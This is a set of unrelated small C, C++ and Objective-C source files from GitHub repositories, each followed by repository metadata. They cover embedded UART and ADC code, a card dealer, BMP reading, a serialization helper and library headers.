#ifndef TZONEPROCSEA_H #define TZONEPROCSEA_H #include "HSea.h" #include "TGeneralTrackSea.h" #include "UZone.h" using namespace COMMON::_ZONE_; #include "point_in_zone_checker.h" namespace PTPV { namespace sea { // Программа расчёта попаданий объекта в зоны. class TZoneProc { private: point_in_zone_checker zoneCalculator; TGeneralTrack &Trc; public: //=================================================== TZoneProc(TGeneralTrack &GeneralTrack, TZone zones[ZONE_MAX]); //=================================================== // Диспетчер задач void MsgTaskChain(TMsgProc *pMsgProc); //=================================================== // Диспетчер периодического контроля статуса void StateTaskChain(TStateProc *pStateProc); }; // class TZoneProc } // namespace sea } // namespace PTPV #endif // TZONEPROCSEA_H
VladimirTsoy/poligon
POLIGON02/Surface/TZoneProcSea.h
TZoneProcSea.h
h
980
c
ru
code
0
github-code
54
38369518484
#ifndef HDC_OPERH_TYPE_H #define HDC_OPERH_TYPE_H #include "PrimitiveType.h" #include "../../token/Token.h" namespace hdc { class OPERType : public PrimitiveType { private: Token token; public: OPERType(); OPERType(Token& token); public: virtual void accept(Visitor& visitor); }; } #endif
hadley-siqueira/hdc
include/ast/types/OPERType.h
OPERType.h
h
374
c
en
code
1
github-code
54
14088564355
#include <stdio.h> #include <time.h> #include <stdlib.h> #include <stdbool.h> #define NUM_SUITS 4 #define NUM_RANKS 13 int main() { bool a[4][13] = {false}; // 4行 13列 int num_cards, rank, suit; const char rank_code[] = {'2','3','4','5','6','7','8','9','t','j','q','k','a'}; const char suit_code[] = {'c','d','h','s'}; srand((unsigned) time (NULL)); //随机数生成器 printf("Enter number of cards in hand: "); scanf("%d",&num_cards); printf("Your hand : "); while (num_cards > 0) { suit = rand() % 4; rank = rand() % 13; if (!a[suit][rank]) { a[suit][rank] = true; num_cards--; printf(" %c%c", rank_code[rank], suit_code[suit]); } } printf("\n"); return 0; }
Shangxin666/Cpp-try
deal.c
deal.c
c
753
c
en
code
0
github-code
54
34459372143
#include "common.h" #include "kernel_user_pot.h" volatile u16 ADC_Buf[ADC_CHANNELS]; #define edge 2 volatile float offsetValue=(float)edge/(float)ADC_MAX; volatile float shortLength=(float)edge/(float)ADC_MAX; volatile float pauseSize=(float)edge/(float)ADC_MAX; void HAL_ADC_ConvCpltCallback(ADC_HandleTypeDef* p_hdma) { u16 value = ADC_Buf[0]; //зона пол волны if (value >= edge && value < ADC_MAX - edge) { offsetValue = (float)value/(float)ADC_MAX; } value = ADC_Buf[1]; if (value >= edge && value < ADC_MAX - edge) { shortLength = (float)value/(float)ADC_MAX; } value = ADC_Buf[2]; if (value >= edge && value < ADC_MAX - edge) { pauseSize = (float)value/(float)ADC_MAX; } } float up_getShortcutOffset() { return offsetValue; } float up_getShortcutLength() { return shortLength; } float up_getPauseSize() { return pauseSize; }
zhou-peter/Tesla
Lab1.1/Src/kernel_user_pot.c
kernel_user_pot.c
c
854
c
en
code
0
github-code
54
37518760255
#ifndef CONSTANTS_H #define CONSTANTS_H // Number of channel and index in tab DIRECTION, SPEED, RATIO #define RC_NUM_CHANNELS 3 #define RC_CH1 0 #define RC_CH2 1 #define RC_CH3 2 // RC channel INPUT PIN #define RC_CH1_PIN A0 #define RC_CH2_PIN A1 #define RC_CH3_PIN A2 // Servo INPUT PIN #define SERVO_PIN 10 // Motors OUTPUT PIN direction (forward or backward) and speed #define MOTOR_R_DIR_PIN 7 #define MOTOR_L_DIR_PIN 8 #define MOTOR_R_SPEED_PIN 3 #define MOTOR_L_SPEED_PIN 11 // RC min, neutral and max value (theorical values) #define RC_MIN 1000 #define RC_NEUTRAL 1500 #define RC_MAX 2000 // Direction in degree min, neutral and max (depending of the car structure) #define ANGLE_MIN 60 #define ANGLE_NEUTRAL 90 #define ANGLE_MAX 120 // Speed PWM min and max (0% to 100% of speed) #define SPEED_PWM_MIN 0 #define SPEED_PWM_MAX 255 // => Speed ratio CH2 100% to -100% // If positive go forward, else go backward // // => Motor selection ratio CH3 100% to -100% // MIN left side is set to -100% and right side to 100% // NEUTRAL side right and left are set to 100% // MIN right side is set to -100% and left side to 100% #define RATIO_MIN -100 #define RATIO_NEUTRAL 0 #define RATIO_MAX 100 // Serial speed, set if is verbose = true #define SERIAL_PORT_SPEED 57600 #define IS_VERBOSE // Number of values in mean window filter (of each channels) #define NB_VALUES 20 // Number of iterations without command accepted #define HEALTH_IT 5 // Number of iterations for convergence #define CONVERGENCE_IT (2 * NB_VALUES) // Main loop delay 50Hz #define DELAY_MAIN_LOOP 10 // Max value of uint8_t #define MAX_VALUE_UINT8 255 #endif // CONSTANTS_H
jferdelyi/rc-car
src/constants.h
constants.h
h
1,659
c
en
code
0
github-code
54
32699383221
#include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <fcntl.h> #include <stdlib.h> #include <sys/stat.h> int main() { int src_fd,dest_fd; char buff[1024]; int read_len; src_fd=open("src_file",O_RDONLY); dest_fd=open("dest_file",O_WRONLY|O_CREAT|O_TRUNC,0644); if(src_fd<0||dest_fd<0) { printf("open error\n"); exit(1); } lseek(src_fd,-10,SEEK_END); while((read_len=read(src_fd,buff,sizeof(buff)))>0) write(dest_fd,buff,read_len); close(src_fd); close(dest_fd); return 0; }
wilsonfly/test_module
origin_c/naive_code/io/lseek/lseek.c
lseek.c
c
516
c
en
code
1
github-code
54
28509436526
#include "Common.h" #include <time.h> #include <sys/types.h> #include <sys/timeb.h> int printTime(char *ampm) { char buff[128];//, ampm[] = "AM"; __time64_t lgtime; struct __timeb64 timstruct; struct tm *today, *thegmt, xmas = { 0, 0, 12, 25, 11, 90 }; /* set time zone from TZ environment variable. If TZ is not set, * the operating system is queried to obtain the default value * for the variable.*/ _tzset(); /* get UNIX-style time and display as number and string. */ _time64(&lgtime); printf("Time in seconds since UTC 1/1/70:\t%ld seconds\n", lgtime); printf("UNIX time and date:\t\t\t%s", _ctime64(&lgtime)); /* display UTC. */ thegmt = _gmtime64(&lgtime); printf("Coordinated universal time, UTC:\t%s", asctime(thegmt)); /* display operating system-style date and time. */ _strtime(buff); printf("OS time:\t\t\t\t%s\n", buff); _strdate(buff); printf("OS date:\t\t\t\t%s\n", buff); /* convert to time structure and adjust for PM if necessary. */ today = _localtime64(&lgtime); if (today->tm_hour >= 12) { strcpy(ampm, "PM"); today->tm_hour -= 12; } /* adjust if midnight hour. */ if (today->tm_hour == 0) today->tm_hour = 12; /* pointer addition is used to skip the first 11 * characters and printf() is used to trim off terminating * characters.*/ printf("12-hour time:\t\t\t\t%.8s %s\n", asctime(today) + 11, ampm); /* print additional time information. */ _ftime64(&timstruct); printf("Plus milliseconds:\t\t\t%u\n", timstruct.millitm); printf("Zone difference in hours from UTC:\t%u hours\n", timstruct.timezone / 60); printf("Time zone name:\t\t\t\t%s\n", _tzname[0]); printf("Daylight savings:\t\t\t%s\n", timstruct.dstflag ? "YES" : "NOT SET"); /* make time for noon on Christmas, 1990. */ if (_mktime64(&xmas) != (__time64_t ) -1) printf("Christmas\t\t\t\t%s", asctime(&xmas)); /* use time structure to build a customized time string. */ today = _localtime64(&lgtime); /* use strftime to build a customized time string. */ strftime(buff, 128, "Today is %A, day %d of %B in the year %Y.\n", today); printf(buff); return 0; }
tommybee-dev/win32A
AboutTime.c
AboutTime.c
c
2,164
c
en
code
0
github-code
54
20528265576
/* * tiny_uart.c * * Created: 16/07/2015 6:32:52 PM * Author: Esposch */ #include "tiny_uart.h" #include "globals.h" void tiny_uart_setup(void){ PR.PRPC &= 0b11101111; //PR.PRPE &= 0b11111110; ??? PORTC.DIR |= 0b10101010; PORTC.OUT = 0xff; PORTC.PIN2CTRL = PORT_INVEN_bm | PORT_OPC_PULLUP_gc; //PORTC.REMAP = 0x10; //Remap USART to [7:4] //#ifndef VERO // PORTC.REMAP = 0x20; //Swap MOSI and SCK - for small boards only!!! //#endif USARTC0.CTRLA = USART_RXCINTLVL_HI_gc; USARTC0.CTRLC = USART_CMODE_MSPI_gc | 0b00000100; //LSB received first, UPCHA disabled #if OVERCLOCK == 48 USARTC0.BAUDCTRLA = 7; //BSEL = fper/(2fbaud) -1; 48/(2*3) - 1 = 7 #else USARTC0.BAUDCTRLA = 3; //BSEL = fper/(2fbaud) -1; 24/(2*3) - 1 = 3 #endif USARTC0.BAUDCTRLB = 0x00;// USART_BSCALE0_bm goes to 1.5MHz for some reason; USARTC0.CTRLB = USART_RXEN_bm | USART_TXEN_bm; } void tiny_spi_setup(void){ //Power Reduction disable PR.PRPC &= 0b11110111; //SPI enable SPIC.INTCTRL = SPI_INTLVL_OFF_gc; //#ifdef VERO PORTC.PIN5CTRL = PORT_INVEN_bm | PORT_OPC_PULLUP_gc; //#else // PORTC.PIN7CTRL = PORT_INVEN_bm | PORT_OPC_PULLUP_gc; //Pin5 if not swapped //#endif SPIC.CTRL = SPI_DORD_bm | SPI_ENABLE_bm; //Slave mode return; } ISR(SPIC_INT_vect){ asm("nop"); } ISR(USARTC0_RXC_vect){ unsigned char temp = USARTC0.DATA; USARTC0.DATA = temp; }
EspoTek/Labrador
AVR_Code/USB_BULK_TEST/src/tiny_uart.c
tiny_uart.c
c
1,379
c
en
code
1,062
github-code
54
29450132086
/*************************************************************************** openurl.library - universal URL display and browser launcher library Copyright (C) 1998-2005 by Troels Walsted Hansen, et al. Copyright (C) 2005-2013 by openurl.library Open Source Team This library is free software; it has been placed in the public domain and you can freely redistribute it and/or modify it. Please note, however, that some components may be under the LGPL or GPL license. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. openurl.library project: http://sourceforge.net/projects/openurllib/ $Id$ ***************************************************************************/ #ifndef BASE_H #define BASE_H 1 #ifndef EXEC_LIBRARIES_H #include <exec/libraries.h> #endif #ifndef EXEC_SEMAPHORES_H #include <exec/semaphores.h> #endif #ifndef DOS_DOS_H #include <dos/dos.h> #endif /***************************************************************************/ struct LibraryHeader { struct Library libBase; struct Library *sysBase; BPTR segList; struct SignalSemaphore libSem; APTR pool; struct SignalSemaphore poolSem; struct URL_Prefs *prefs; struct SignalSemaphore prefsSem; ULONG flags; ULONG rexx_use; }; #define __NOLIBBASE__ #include <proto/openurl.h> /***************************************************************************/ #if defined(__amigaos4__) extern struct Library *SysBase; #else extern struct ExecBase *SysBase; #endif extern struct LibraryHeader *OpenURLBase; #if defined(__amigaos4__) #define __BASE_OR_IFACE_TYPE struct OpenURLIFace * #define __BASE_OR_IFACE_VAR IOpenURL #else #define __BASE_OR_IFACE_TYPE struct LibraryHeader * #define __BASE_OR_IFACE_VAR OpenURLBase #endif #define __BASE_OR_IFACE __BASE_OR_IFACE_TYPE __BASE_OR_IFACE_VAR /***************************************************************************/ enum { BASEFLG_Init = 1<<0, BASEFLG_Trans = 1<<1, }; /***************************************************************************/ #endif /* BASE_H */
aros-development-team/AROS
external/openurl/library/base.h
base.h
h
2,276
c
en
code
332
github-code
54
27341164081
/* hud Class (hud.h, hud.cpp) Created: Jan 29, 2017 Author: Matthew Chiborak Description: Class the stores information related to the HUD. This includes the sprites for rendering the menu and the cost of a unit and the display of how much resources a unit has. Interface controller determines if a menu option has been clicked and if the user has enough funds. */ #ifndef __HUD_H #define __HUD_H #include "SFML\Graphics.hpp" #include "game_object.h" #include <sstream> #include <iomanip> class Game; class world_tile; class fog; // Convert time data to string static std::string timeToString(const int maxTime, const int timeStarted) { // Seconds are one digit - pad the 0 if(((maxTime - (time(0) - timeStarted)) % 60) < 10) return std::to_string((maxTime - (time(0) - timeStarted)) / 60) + ":0" + std::to_string((maxTime - (time(0) - timeStarted)) % 60); else return std::to_string((maxTime - (time(0) - timeStarted)) / 60) + ":" + std::to_string((maxTime - (time(0) - timeStarted)) % 60); } // Convert info data to precise string static std::string floatToString(const float value, const std::streamsize precision = 6) { std::stringstream stream; // Is conversion necessary? if ((int)value < value) stream << std::fixed << std::setprecision(precision) << value; else stream << (int)value; return stream.str(); } class hud { private: sf::Sprite* HUDSprite; sf::Sprite menuSelector; sf::Sprite menuSelector2; float menuHeight; sf::Text resourceCount; sf::Font* menuFont; std::vector<std::string>* unitCostInfo; sf::Text costText; sf::Sprite infoBarSprite; sf::Text unitInfoDisplay; int* currentlyDisplayedMenu; int totalIcons; sf::Sprite minimap; sf::Text timeText; sf::Text killFeedText; sf::Text pausedText; sf::Sprite titleScreen; sf::Text titleScreenText; /*sf::Sprite infoBarIcon;*/ //sf::Texture tempTexture; //Minimap information //sf::Vector2f miniMapSize; //sf::Vector2f miniMapPosition; public: hud(); ~hud(); void setSelectionTexture(Game* game, sf::Texture* textureToSet, int windowSizeX, float squareSize, int menuSizeX, int menuSizeY, int* currentlySelectedMenu); //void drawHUD(sf::RenderWindow* gameWindow, int windowSizeX, int windowSizeY, float squareSize, int menuSizeX, int menuSizeY, float x, float y, int playerResourceCount, int currentMenuSelected, GameObject* selectedObject, float infoHeight, sf::Vector2i mouseStartPos, sf::Vector2i mousePos); void drawHUD(Game *game, sf::RenderWindow* gameWindow, int windowSizeX, int windowSizeY, int menuSizeX, int menuSizeY, world_tile** backgroundTiles, Fog** fogOfWar, std::vector<GameObject*>* playerInGameObjects, std::vector<GameObject*>* opponentInGameObjects, int windowPosX, int windowPosY, float zoom, float bx, float cx, float by, float cy); float giveHUDSpriteATexture(Game* game, sf::Texture* textToSet, float squareSize, int windowSizeX, int windowSizeY, int menuSizeX, int menuSizeY, int index, int totalIcons, float infoHeight); void assignFont(sf::Font* menuFont); void setUnitCostInfo(std::vector<std::string>* unitCostInfo); float getMenuHeight(); void setInfoBarSprite(sf::Texture* textureToSet, int windowSizeX, int windowSizeY, float squareSize, float infoBarHeight); //returns the new menu height void hud::setMinimapTexture(Game* game, sf::Texture* textToSet); void hud::resizeMinimap(Game* game); void giveTItleScreenATexture(Game* game, sf::Texture* textToSet); float resizeHUD(Game *game, int windowSizeX, int windowSizeY, float squareSize, int menuSizeX, int menuSizeY, float x, float y, int playerResourceCount, int currentMenuSelected, GameObject* selectedObject, float infoHeight); }; #endif
matthewchiborak/CrystalCombatRTS
include/hud.h
hud.h
h
3,663
c
en
code
0
github-code
54
43061206604
#pragma once #include <iostream> using namespace std; long w = 1; long h = 1; int chan = 3; /** * Param filename: name of file to be read * Return: pixel information in file in the form of an array of chars * Use: reads image */ unsigned char* ReadBMP(const char* filename) { int i; FILE* f = fopen(filename, "rb"); unsigned char info[54]; fread(info, sizeof(unsigned char), 54, f); // read the 54-byte header if (*(int*)&info[26] == 1048577) {//includes alpha channel chan = 4; } else if (*(int*)&info[26] == 1572865) { chan = 3; } // extract image height and width from header int width = *(int*)&info[18]; w = width; int height = *(int*)&info[22]; h = height; int size = 3 * width * height; //cout << "Size: " << (size/3) << " | channels: " << chan << " | width: " << width << " | height: " << height << endl; unsigned char* data = new unsigned char[size]; // allocate 3 bytes per pixel fread(data, sizeof(unsigned char), size, f); // read the rest of the data at once fclose(f); for (i = 0; i < size; i += 3) { unsigned char tmp = data[i]; data[i] = data[i + 2]; data[i + 2] = tmp; //cout << data[i] << data[i+2] << data[i+4] <<" "; } return data; } //man and dog images have alpha, logo and gen do not //use as a holder, not make a file for every image**************************************************************************** /** * Param monoChrome: array of each pixel in monochrome (one value per pixel) * Param size: size of image (how many pixels) * Param img: name if image file * Use: stores image pixel values into file */ void store(double* monoChrome, int size, string img) { string s = ""; s.append(img); s.append(".txt"); std::ofstream myfile; myfile.open(s, std::ios_base::app);//appends to open file if (myfile.is_open()) { myfile << "in: "; for (int count = 0; count < size; count++) { myfile << monoChrome[count] << " "; } myfile << "\n"; myfile.close(); } else cout << "Unable to open file"; } // When averaging chanel values, written value is rounded down // This creates an array from bottom left, increase on horizontal then start again 1px up to get next row /** * Param name: name of image file * Param img: name of file to save * return: size of image */ int encode(char const* name, string img) { unsigned char* data = ReadBMP(name); //uint32_t chan = 24 / 8;//32 if half alpha, 24 if not //chan = 32 / 8; int r; int g; int b; int ms = w * h;// monochrome size double* monoChrome = new double[ms];//empty array with size ms int q = 0;//place holder to put into A for (int Y = 0; Y < h; Y++) { for (int X = 0; X < w; X++) { r = (int)data[chan * (Y * w + X) + 0]; g = (int)data[chan * (Y * w + X) + 1]; b = (int)data[chan * (Y * w + X) + 2]; monoChrome[q] = (((r + g + b) / 3)); //cout << monoChrome[q] << endl; monoChrome[q] = (monoChrome[q]/255); //cout << monoChrome[q] << endl << endl; q++; } } store(monoChrome, q, img); return ms; } /** * Param imgName: name of image to be used * Return: size of image * Use: turns image into a data file * Adds data to image file, doesn't replace */ int image(string imgName) { int size; string s1 = imgName; s1.append(".bmp"); char const* name = s1.c_str(); string img = "image"; size = encode(name, img);//encodes an image to monochrome then stores that in a text file //cout << endl; return size; }
SUITS-teams/UBALT_Astrobees
Neural/Project1/Reader.h
Reader.h
h
3,712
c
en
code
2
github-code
54
31652494332
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* board.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: nkouris <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/06/05 10:45:14 by nkouris #+# #+# */ /* Updated: 2018/06/21 12:11:19 by nkouris ### ########.fr */ /* */ /* ************************************************************************** */ #include "universal.h" #include "board.h" #include "events.h" #include "inventory.h" #include "communication.h" /* method function prototypes */ static int32_t send_dimensions(int32_t cl); static int32_t new(void); static void resource_gen(void); static void setplayer(t_player *pl); static void removeplayer(t_player *pl); __attribute__((constructor))void construct_board(void) { board.new = &new; board.send_dimensions = &send_dimensions; board.resource_gen = &resource_gen; board.setplayer = &setplayer; board.removeplayer = &removeplayer; } static int32_t new(void) { int32_t x; printf("Creating the board\n"); x = 0; if (!(SRV_BORD.tiles = (t_tile *)(calloc(1, sizeof(t_tile) * (SRV_BORD.x + 1))))) return (EXIT_FAILURE); while (x < SRV_BORD.x + 1) { if (!(((SRV_BORD.tiles)[x]).column = (t_tile *)(calloc(1, sizeof(t_tile) * (SRV_BORD.y + 1))))) return (EXIT_FAILURE); x++; } board.resource_gen(); return (EXIT_SUCCESS); } static int32_t send_dimensions(int32_t cl) { char *num; char *str; int32_t nlen; nlen = ft_numlen(SRV_BORD.x + 1); nlen += ft_numlen(SRV_BORD.y + 1); nlen += 2; if (!(num = ft_itoa(SRV_BORD.x + 1)) || !(str = (char *)calloc(1, (nlen + 1))) || !(str = ft_strfreecat(str, num))) return (EXIT_FAILURE); if (!(str = strcat(str, " ")) || !(num = ft_itoa(SRV_BORD.y + 1)) || !(str = ft_strfreecat(str, num)) || !(str = strcat(str, "\n")) || (communication.outgoing(cl, str) == EXIT_FAILURE)) return (EXIT_FAILURE); free(str); return (EXIT_SUCCESS); } static inline __attribute__((always_inline))void rand_resc(uint32_t x, uint32_t y) { uint32_t resc; resc = arc4random_uniform((uint32_t)7); inventory.add(&(RESOURCE), resc); } static void resource_gen(void) { int32_t ntiles; uint32_t gen; uint32_t x; uint32_t y; printf("Populating with resources\n"); x = 0; y = 0; ntiles = ((SRV_BORD.x * SRV_BORD.y) >> 2); while (ntiles-- > 0) { gen = arc4random_uniform((uint32_t)40); x = arc4random_uniform((uint32_t)SRV_BORD.x + 1); y = arc4random_uniform((uint32_t)SRV_BORD.y + 1); while (gen-- > 0) rand_resc(x, y); } event.add(&(eventlookup[REC_GEN]), NULL, 0); } static void setplayer(t_player *pl) { int32_t x; int32_t y; x = pl->location.x; y = pl->location.y; (((((SRV_BORD.tiles)[x]).column)[y]).players)[pl->c_fd] = pl; ft_enqueue(&(PLAYERLIST), &(pl->tilecontainer), 0); } static void removeplayer(t_player *pl) { int32_t x; int32_t y; x = pl->location.x; y = pl->location.y; (((((SRV_BORD.tiles)[x]).column)[y]).players)[pl->c_fd] = NULL; ft_middel(&(PLAYERLIST), &(pl->tilecontainer)); }
nkouris/zappy
src/board/board.c
board.c
c
3,528
c
en
code
0
github-code
54
74597571361
/** * Copyright (c) 2014-2016 Dallin Wellington * */ #ifndef _MONSOON_AABB_H_ #define _MONSOON_AABB_H_ #include <Platform/Export.h> namespace Monsoon { namespace Math { /** * An Axis-Aligned Bounding Box */ class DYNLIB AABB { public: /** * Default constructor. */ AABB(); /** * 2d AABB constructor. * @param x x-coordinate of the center of the box. * @param y y-coordinate of the center of the box. * @param width width of the bounding box. * @param height height of the bounding box. */ AABB(float x, float y, float width, float height); /** * 3d AABB constructor. * @param x x-coordinate of the center of the box. * @param y y-coordinate of the center of the box. * @param z z-coordinate of the center of the box. * @param width width of the bounding box. * @param height height of the bounding box. * @param depth depth of the bounding box. */ AABB(float x, float y, float z, float width, float height, float depth); /** * Default destructor. */ ~AABB(); /** * Checks for an intersection between two AABBs (this and other). * @param other The other bounding box. * @return True if there is an intersection, otherwise false. */ bool Intersects(AABB& other); /** * Sets the position of the bounding box. * @param x x-coordinate of the center of the box. * @param y y-coordinate of the center of the box. * @param z z-coordinate of the center of the box. (Default = 0.0f) */ void SetPosition(float x, float y, float z = 0.0f); /** * Sets the scale of the bounding box. * @param x x scale of the box. * @param y y scale of the box. * @param z z scale of the box. (Default = 0.0f) */ void SetScale(float x, float y, float z = 0.0f); private: float mWidth, mHeight, mDepth; float mX, mY, mZ; }; } } #endif // _MONSOON_AABB_H_
dead1ock/monsoon
Engine/Include/Math/AABB.h
AABB.h
h
1,928
c
en
code
2
github-code
54
10252212782
#pragma once #include "property_value.h" #include "MessagePackAddition.h" #include "NlohmannJsonAddition.h" #include <sstream> namespace twin_pack { class ISerializableObject { public: virtual ~ISerializableObject() = default; bool unserialize(const std::stringstream& stream, std::string& msg_error) { try { binary_unserialize(stream); return true; } catch (const msgpack::unpack_error& er) { msg_error = "msgpack unpack error: " + std::string(er.what()); return false; } catch (const msgpack::type_error& er) { msg_error = "msgpack unpack error: " + std::string(er.what()); return false; } catch (const std::bad_alloc& er) { msg_error = "msgpack unpack error: " + std::string(er.what()); return false; } catch (...) { msg_error = "unknown msgpack unpack error while unserialize object"; return false; } } bool serialize(std::stringstream& stream, std::string& msg_error) { try { binary_serialize(stream); return true; } catch (const std::bad_alloc& er) { msg_error = "msgpack pack error: " + std::string(er.what()); return false; } catch (const std::runtime_error& er) { msg_error = "msgpack pack error: " + std::string(er.what()); return false; } catch(...) { msg_error = "unknown msgpack pack error while serialize object"; return false; } } bool unserialize(const nlohmann::json& a_json, std::string& msg_error) { try { json_unserialize(a_json); return true; } catch (const nlohmann::json::exception& e) { msg_error = "nlohmann::json unpack error: " + std::string(e.what()); return false; } catch(...) { msg_error = "unknown nlohmann::json unpack error while serialize object"; return false; } } bool serialize(nlohmann::json& a_json, std::string& msg_error) { try { json_serialize(a_json); return true; } catch (const nlohmann::json::exception& e) { msg_error = "nlohmann::json pack error: " + std::string(e.what()); return false; } catch (...) { msg_error = "unknown nlohmann::json pack error while serialize object"; return false; } } protected: virtual void json_serialize(nlohmann::json& a_json) = 0; virtual void json_unserialize(const nlohmann::json& a_json) = 0; virtual void binary_serialize(std::stringstream& stream) = 0; virtual void binary_unserialize(const std::stringstream& stream) = 0; }; } /*Macro*/ /*=======================================================================================================*/ #define BINARY_PACK(stream)\ {\ msgpack::pack(stream, *this);\ } #define BINARY_UNPACK(stream)\ {\ std::string str(stream.str());\ msgpack::unpack(str.data(), str.size())->convert(*this);\ } #define JSON_PACK(json)\ {\ json = *this;\ } #define JSON_UNPACK(json)\ {\ *this = json.get<std::remove_pointer<decltype(this)>::type>();\ } #define PACKAGE_BOX\ void binary_serialize(std::stringstream& stream) override\ {\ BINARY_PACK(stream);\ }\ void binary_unserialize(const std::stringstream& stream) override\ {\ BINARY_UNPACK(stream);\ }\ void json_serialize(nlohmann::json& a_json) override\ {\ JSON_PACK(a_json)\ }\ void json_unserialize(const nlohmann::json& a_json) override\ {\ JSON_UNPACK(a_json)\ } #define PACKAGE_DEFINE(type, ...)\ MSGPACK_DEFINE(__VA_ARGS__)\ NLOHMANN_DEFINE_TYPE_INTRUSIVE(type, __VA_ARGS__)\ #define PACK_IT(type, ...)\ PACKAGE_DEFINE(type, __VA_ARGS__)\ PACKAGE_BOX /*========================================================================================================*/
aint-no-programmer/twin_pack
include/ISerializableObject.h
ISerializableObject.h
h
3,765
c
en
code
0
github-code
54
18033933490
#include <stdlib.h> #include <stdio.h> void func(int *p,int n){ p=malloc(n); if(p == NULL){ exit(1); } } void test(){ int *p=NULL; p=malloc(sizeof(int)); if(p==NULL){ printf("malloc() error!\n"); exit(1); } *p=10; printf("%p=%d\n", p, *p); free(p); p=NULL; printf("%p=%d\n", p, *p); *p=20; printf("%p=%d\n", p, *p); } int main(){ // int num = 10; // int *p = NULL; // func(p,num); // free(p); test(); exit(0); }
qinchunabng/c_learning
malloc/test.c
test.c
c
525
c
uk
code
0
github-code
54
8527820498
#import <UIKit/UIKit.h> @class LSSlider; @protocol LSSliderDelegate <NSObject> @optional - (void)sliderValueChanging:(LSSlider *)slider; - (void)sliderEndValueChanged:(LSSlider *)slider; @end @interface LSSlider : UIControl @property (nonatomic,strong) UIColor * minimumTrackTintColor; @property (nonatomic,strong) UIColor * maxmumTrackTintColor; @property (nonatomic,copy ) NSString * thumbImageName; @property (nonatomic, assign) CGFloat value; /*最小值*/ @property (nonatomic, assign) CGFloat minValue; /*最大值*/ @property (nonatomic, assign) CGFloat maxValue; @property (nonatomic, weak) id<LSSliderDelegate> delegate; /** * 设置滑动条进度 * value取值minValue~maxValue 默认 0~1 */ - (void)setSliderValue:(CGFloat)value; /** * 动画设置滑动条进度 */ - (void)setSliderValue:(CGFloat)value animation:(BOOL)animation completion:(void(^)(BOOL finish))completion; @end
xiaoniuniuaihenai/shandao
ZTMXFShanDao/Main/Reinforce/BorrowMoney/View/LSSlider.h
LSSlider.h
h
905
c
en
code
0
github-code
54
73010038883
#include <stddef.h> #include <avr/io.h> #include <avr/sfr_defs.h> /* loop_until_bit_is_set */ /*****************************************************************/ /* PROTOTYPES */ /**************/ size_t our_strlen(const char *s); char *ul_to_str(char *buf, size_t len, unsigned long z); void serial_print_str(const char *buf, size_t len); size_t serial_read_str(char *buf, size_t len); static void uart_9600(void); char uart_char_read(void); void uart_char_send(char c); /*****************************************************************/ /* PROGRAM */ /***********/ void setup(void) { uart_9600(); char *begin = "\n\n\n\nhello, world\n"; serial_print_str(begin, our_strlen(begin)); } unsigned long loop_cnt = 0; void loop(void) { const char *output; size_t buflen = 256; char buf[buflen]; ++loop_cnt; ul_to_str(buf, buflen, loop_cnt); serial_print_str(buf, buflen); output = " awaiting input: "; serial_print_str(output, our_strlen(output)); serial_read_str(buf, buflen); output = "received: '"; serial_print_str(output, our_strlen(output)); serial_print_str(buf, our_strlen(buf)); output = "'\n"; serial_print_str(output, our_strlen(output)); } int main(void) { setup(); for (;;) { loop(); } } /*****************************************************************/ /* HELPER FUNCTIONS */ /********************/ void serial_print_str(const char *buf, size_t len) { for (size_t i = 0; buf[i] && i < len; ++i) { if (buf[i] == '\n') { uart_char_send('\r'); } uart_char_send(buf[i]); } } size_t serial_read_str(char *buf, size_t len) { buf[0] = '\0'; for (size_t i = 0; i < len;) { char c = uart_char_read(); switch (c) { case '\r': case '\n': uart_char_send('\r'); uart_char_send('\n'); return i; default: buf[i++] = c; buf[i] = '\0'; uart_char_send(c); } } buf[len - 1] = '\0'; return len; } char *ul_to_str(char *buf, size_t len, unsigned long z) { size_t tmplen = 22; char tmp[tmplen]; size_t i = 0; size_t j = 0; if (!buf || !len) { return NULL; } else if (len == 1) { buf[0] = '\0'; return NULL; } if (!z) { buf[0] = '0'; buf[1] = '\0'; return buf; } for (i = 0; z && i < tmplen; ++i) { tmp[i] = '0' + (z % 10); z = z / 10; } for (j = 0; i && j < len; ++j, --i) { buf[j] = tmp[i - 1]; } buf[j < len ? j : len - 1] = '\0'; return buf; } // a DIY version of the standard C library "strlen" so that we do not need to // pull in the bloat of a libc into our firmware just to get this function, // this version is simple, even if it is perhaps a bit less efficient than the // libc version. size_t our_strlen(const char *s) { if (!s) { return 0; } size_t i = 0; while (s[i]) { ++i; } return i; } /*****************************************************************/ /* RAW UART */ /************/ /* http://www.nongnu.org/avr-libc/user-manual/group__util__setbaud.html */ #ifndef F_CPU #define F_CPU 4000000 #endif #ifndef UBRRH #ifdef UBRR0H #define UBRRH UBRR0H #endif #endif #ifndef UBRRL #ifdef UBRR0L #define UBRRL UBRR0L #endif #endif #ifndef UCSRA #ifdef UCSR0A #define UCSRA UCSR0A #endif #endif #ifndef UDR #ifdef UDR0 #define UDR UDR0 #endif #endif #ifndef UDRE #ifdef UDRE0 #define UDRE UDRE0 #endif #endif #ifndef RXC #ifdef RXC0 #define RXC RXC0 #endif #endif #ifndef U2X #ifdef U2X0 #define U2X U2X0 #endif #endif static void uart_9600(void) { // The header "util/setbaud.h" can be included multiple times which // is useful for creating functions for various baud rates. The // "BAUD" macro is similar to a parameter to the setbaud macros and // must be defined before util/setbaud.h is included. Always #undef // BAUD before #define BAUD in order to avoid a possible compiler // redefine warning. #undef BAUD #define BAUD 9600 #include <util/setbaud.h> UBRRH = UBRRH_VALUE; UBRRL = UBRRL_VALUE; #if USE_2X UCSRA |= (1 << U2X); #else UCSRA &= ~(1 << U2X); #endif #undef BAUD } void uart_char_send(char c) { loop_until_bit_is_set(UCSRA, UDRE); UDR = c; } char uart_char_read(void) { loop_until_bit_is_set(UCSRA, RXC); return UDR; } /*****************************************************************/
ericherman/raw-c-arduino
src/hello-serial.c
hello-serial.c
c
4,158
c
en
code
0
github-code
54
35161470217
